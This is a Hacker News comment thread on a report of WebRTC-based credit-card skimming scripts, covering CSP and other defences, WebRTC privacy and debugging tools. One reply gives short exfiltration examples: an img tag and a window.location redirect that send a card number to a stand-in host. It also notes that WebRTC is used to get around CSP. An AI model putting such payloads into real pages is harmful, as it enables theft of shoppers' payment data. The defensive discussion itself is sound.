Unofficial Hacker News client - receive Push Notifications on replies.

Credit card skimming scripts using WebRTC found on popular shopping sites (opens external site)

623 points by scanr 3 days ago | www.infohawk.com | 386 comments on HN | Vote on HN (opens Hacker News)

View full thread · View on Hacker News

Comment thread (37)

  1. Worth noting that this isn’t really anything to do with the technical capabilities of WebRTC, it’s just that it’s less frequently monitored for nefarious behavior. Same reason they’re only targeting mobile devices: harder to detect.

    No reason this approach couldn’t be taken with simple HTTP requests. If you’re embedding third party scripts on your site you’re always vulnerable.

    Replies (4)
    1. Would CSP mitigate this?
      Replies (2)
      1. From TFA:

        > On every page that takes payment, set a connect-src rule that lists only the hosts you use.

        (Though you should really be setting a default-src that only lists `self`.)

        Replies (1)
        1. The article says that can only block the part of the WebRTC setup process that requires an HTTP request, though? So I wonder if it is possible for a WebRTC request to be set up with no external HTTP request at all.
          Replies (1)
          1. I think it might. With a cooperating peer on an internet-routable IP address using ICE-lite you can use a static answer and it should still be possible for ICE to establish.

            Haven't tried but in theory it should work.

            You can apparently block WebRTC with `Content-Security-Policy: webrtc 'block'`

            Replies (1)
            1. Looks like that's only in Content Security Policy Level 3[0] which is in a working draft stage. It currently does nothing in Chrome or Firefox.

              Right now there is a chrome-only policy to block it called Connection-Allowlist[1] eg

                  Connection-Allowlist: (response-origin); webrtc=block
              
              
              0: https://www.w3.org/TR/CSP3/

              1: https://developer.chrome.com/blog/connection-allowlist-annou...

      2. Not particularly. CSP is good at preventing execution (XSS), but once there is execution it's not the best at preventing exfiltration.

        If an attacker is able to inject/modify an existing script file (or add allowed script files for ads), CSP can't help (unless you're using hashes, but those can be brittle).

        Preventing exfil is very hard with CSP. Any "real world" policy will have need to require open'ish directives (img-src https:, etc), which will allow trivial exfil (<img src='https://exil.com?cc=1234'</>). Redirects (window.location = "https://exfil.com?cc=1234") also go around CSP. There's many CTF challenges related to these bypasses.

        WebRTC is particularly difficult to stop too, and the webrtc directive isn't widely adopted yet. It's commonly used as a global CSP bypass since it doens't call under connect-src (and can't). * https://www.youtube.com/watch?v=sAmJ3Ypbosw

        So this needs to be stopped at the injection point.

        (edit: I guess one could argue for monitoring with report-hash, but it seems unlikey for companies to detect and read every change to 3rd party scripts).

        (Founder of csper.io)

        Replies (1)
        1. > Any "real world" policy will have need to require open'ish directives (img-src https:, etc)

          That is not a normal thing to need. A few specific sorts of sites may warrant it (probably only from deliberately allowing user-generated content to embed remote images, and probably only for historical reasons), but loading images from arbitrary sites is a very bad smell.

          Replies (1)
          1. Yeah that's fair, I shouldn't say "_needs_ to require". It'd be more correct to just say it's common.

            There are some fun cases where it is needed, iirc, google maps use to load image data from many unique country code TLDs, so they had to * img-src. (But now they just don't even specify img-src with their Strict CSP, just not worth the effort).

    2. I do think it's fair to say if you were inventing WebRTC today the entire P2P and STUN/TURN aspect of it would need to go. (mdns also seems like a technology from a more naive time).

      The MoQ people are annoying, but in one respect they are right, and that is that having browsers have channels of communication outside of the usually expected HTTP is a recipe for trouble.

      Replies (2)
      1. No, you still need P2P for reasonably efficient video chat. Your options are P2P or millions of dollars and god knows the internet doesn't need more centralisation.
        Replies (1)
        1. The moment you have more than two participants in a video chat it makes sense to use a relay node to reduce the bandwidth needed at each node. (See https://github.com/atomirex/umbrella <- shameless pre AI code).

          P2P does things like exposes both participants IP straight to the other which are not desirable in the modern world. (Also the amount of networking metadata generated during connection negotiation is terrifying).

          Once you're over those then the entire P2P side of the API looks like an anti feature. (But I am strongly in the camp of believing we need better unreliable network protocol support within HTTP channels).

          Replies (2)
          1. Video chat is always more than 2 people is it
            Replies (1)
            1. It really isn't. I frequently do 1 on 1 video calls with someone.
          2. > P2P does things like exposes both participants IP straight to the other which are not desirable in the modern world.

            Is this actually a problem? I don't think it's a good security posture to consider knowledge of your IP to be a security boundary. You give out your IP to every website you visit and every service you connect to. Some of those websites are undoubtedly shipping your IP off to analytics platforms and other sketchy 3rd parties.

            If you do need your IP to remain private, you're using a VPN, Tor, proxies, etc. But only a small minority of people really need this.

            Replies (2)
            1. In general the websites you visit know your IP, but not other users you interact with on social media (or chat apps etc).

              Social media users are more likely to have a personal interest in doing you harm by doing illegal (but not often prosecuted) things, like using your IP address to find your general IP location, DDOS you, scan your network for open ports/vulnerabilities and exploit them, phish your ISP into giving up your address (which can then be used to SWAT/stalk/etc), etc.

              Someone who is vigilant about what links they click is probably not going to click coolwebsite.netlify.app, but might be fine going to zoom.us or meet.google.com.

              Continue this thread (2 replies) →

            2. It's a problem because it leaks information about you to somebody with a personal interest in you.

              Yes, Facebook knows your IP. Facebook, however, is unlikely to tel all your friends that you've been to Oklahoma last week, exposing your affair. Your neighbor just might.

              There are two different kinds of privacy on the internet: privacy from soulless machines, and privacy from people who know you in real life. This is about the latter (and the latter is much more important to most people), while most privacy talk in tech circles is about the former.

              Continue this thread (1 replies) →

      2. Sure, skimming card details would never happen via malicious collection scripts exfiltrating their data via plain old XHR over HTTPS...
    3. Also, WebRTC is really hard to inspect even with devtools. Chrome DevTools just doesn't surface WebRTC connections or data transfer at all. There's just chrome://webrtc-internals/ and chrome://webrtc-logs/ which are very hard to use.
      Replies (2)
      1. HTTP Toolkit can do it! https://httptoolkit.com/

        Some background and screenshots here: https://httptoolkit.com/blog/decentralized-web-webrtc-debugg.... I'm the author.

        When you launch an intercepted Chromium there, it injects a browser extension which hooks webrtc and redirects all connections through a MITM for debugging & rewriting. Only works with bare chromium not chrome nowadays, as Chrome looks down extension setup far more tightly unfortunately (for quite good reasons, but mildly inconvenient for dev).

        All open source, backend is also usable standalone: https://github.com/httptoolkit/mockrtc

        Replies (1)
        1. I love httptoolkit but let's be upfront here, while it's open source the interesting bits require a subscribtion (I know there's a flag you could flip but)
      2. More reasons not to use chrome
    4. >Same reason they’re only targeting mobile devices

      No one likes it when I say this, but don't use a smart phone for anything whatsoever.

      Replies (3)
      1. I’m not surprised people don’t like unrealistic advice like that
        Replies (2)
        1. I would only be surprised if I didn't see unrealistic comments on HN when it comes to technology usage by the masses.

          The average mind here is living in a tech-bubble surrounded by tech-bubble living friends. Some don't understand the normies way of life basically thinks of mobile technology like any other simple commodity product, but is required to live a normal 1st/2nd world life. A refrigerator, a washer and dryer, etc...

          As much as it pains me to say, this feat of handing highly advanced and equally dangerous mobile technology to normal people at mass is mainly because of Apples approach to designing advanced technology. Simple as possible that a child or senior can pick it up and use it within minutes to a day without any professional training in most cases.

        2. Unless you're very young, you used to live like this yourself. Was your life so bad before?
          Replies (1)
          1. Societal expectations have changed
            Replies (1)
            1. And I suppose once society asks you to do something, you have no choice but to abide?

              Continue this thread (1 replies) →

      2. Don't use credit cards. It is technology designed in the 1970s. Safe fraud proof payment systems exist.
      3. It's not perfect but iOS is the most secure mainstream computing platform available today
        Replies (1)
        1. Most secure from whom? The user?